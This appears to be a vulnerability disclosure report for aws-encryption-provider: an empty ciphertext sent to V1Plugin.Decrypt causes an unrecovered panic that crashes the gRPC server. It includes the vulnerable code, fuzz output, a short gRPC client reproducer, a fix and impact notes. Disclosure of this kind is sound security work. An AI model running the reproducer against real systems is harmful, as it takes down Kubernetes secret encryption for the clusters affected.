AWS VDP · Report #3620748
V1Plugin.Decrypt panics on empty ciphertext (Remote DoS)
How it was found
Component: pkg/plugin/plugin.go:179 Affected Version: aws-encryption-provider @ 4341c70 (all versions) Found by: Fuzz testing (FuzzV1Decrypt, seed#0: empty []byte{})
Summary
V1Plugin.Decrypt() accesses request.Cipher[0] without checking that the slice is non-empty. Sending a DecryptRequest with empty or nil Cipher field causes an unrecoverable index out of range panic that crashes the entire gRPC server process.
Vulnerable Code
// pkg/plugin/plugin.go:175-181
func (p *V1Plugin) Decrypt(ctx context.Context, request *pb.DecryptRequest) (*pb.DecryptResponse, error) {
zap.L().Debug("starting decrypt operation")
startTime := time.Now()
if string(request.Cipher[0]) == kmsplugin.StorageVersion { // <-- LINE 179: PANIC if len == 0
request.Cipher = request.Cipher[1:]
}
Root Cause
The storage version prefix check indexes into request.Cipher at position 0 without any bounds check. The gRPC protobuf layer deserializes the Cipher field as a []byte which can be empty ([]byte{}) or nil. No validation ensures len(request.Cipher) > 0 before the index access.
Reproducer
The fuzz harness FuzzV1Decrypt in pkg/plugin/fuzz_test.go triggers this immediately:
$ go test -fuzz FuzzV1Decrypt -fuzztime 10s ./pkg/plugin/
--- FAIL: FuzzV1Decrypt (0.00s)
--- FAIL: FuzzV1Decrypt/seed#0 (0.00s)
panic: runtime error: index out of range [0] with length 0
sigs.k8s.io/aws-encryption-provider/pkg/plugin.(*V1Plugin).Decrypt
████████
Minimal gRPC client reproducer:
conn, _ := grpc.Dial("unix:///var/run/kmsplugin/socket.sock", grpc.WithInsecure())
client := pb.NewKeyManagementServiceClient(conn)
// This crashes the server:
client.Decrypt(context.Background(), &pb.DecryptRequest{Cipher: []byte{}})
Suggested Fix
func (p *V1Plugin) Decrypt(ctx context.Context, request *pb.DecryptRequest) (*pb.DecryptResponse, error) {
zap.L().Debug("starting decrypt operation")
startTime := time.Now()
if len(request.Cipher) == 0 {
return nil, fmt.Errorf("invalid empty ciphertext")
}
if string(request.Cipher[0]) == kmsplugin.StorageVersion {
request.Cipher = request.Cipher[1:]
}
Platform
Tested on macOS arm64, Go 1.26.1. Bug is platform-independent (pure Go).
Impact
Impact
- Server crash: The panic is unrecovered — it kills the entire aws-encryption-provider process
- Kubernetes secret unavailability: While the pod restarts, kube-apiserver cannot encrypt/decrypt any Secrets at rest, blocking pod creation, configmap reads, service account token issuance
- No authentication required: The gRPC server has no auth — any process with access to the Unix socket can trigger this
- Trivially exploitable: Single gRPC call with empty ciphertext, no valid KMS credentials needed
- Affects both nil and empty slices: Both
Cipher: nilandCipher: []byte{}trigger the panic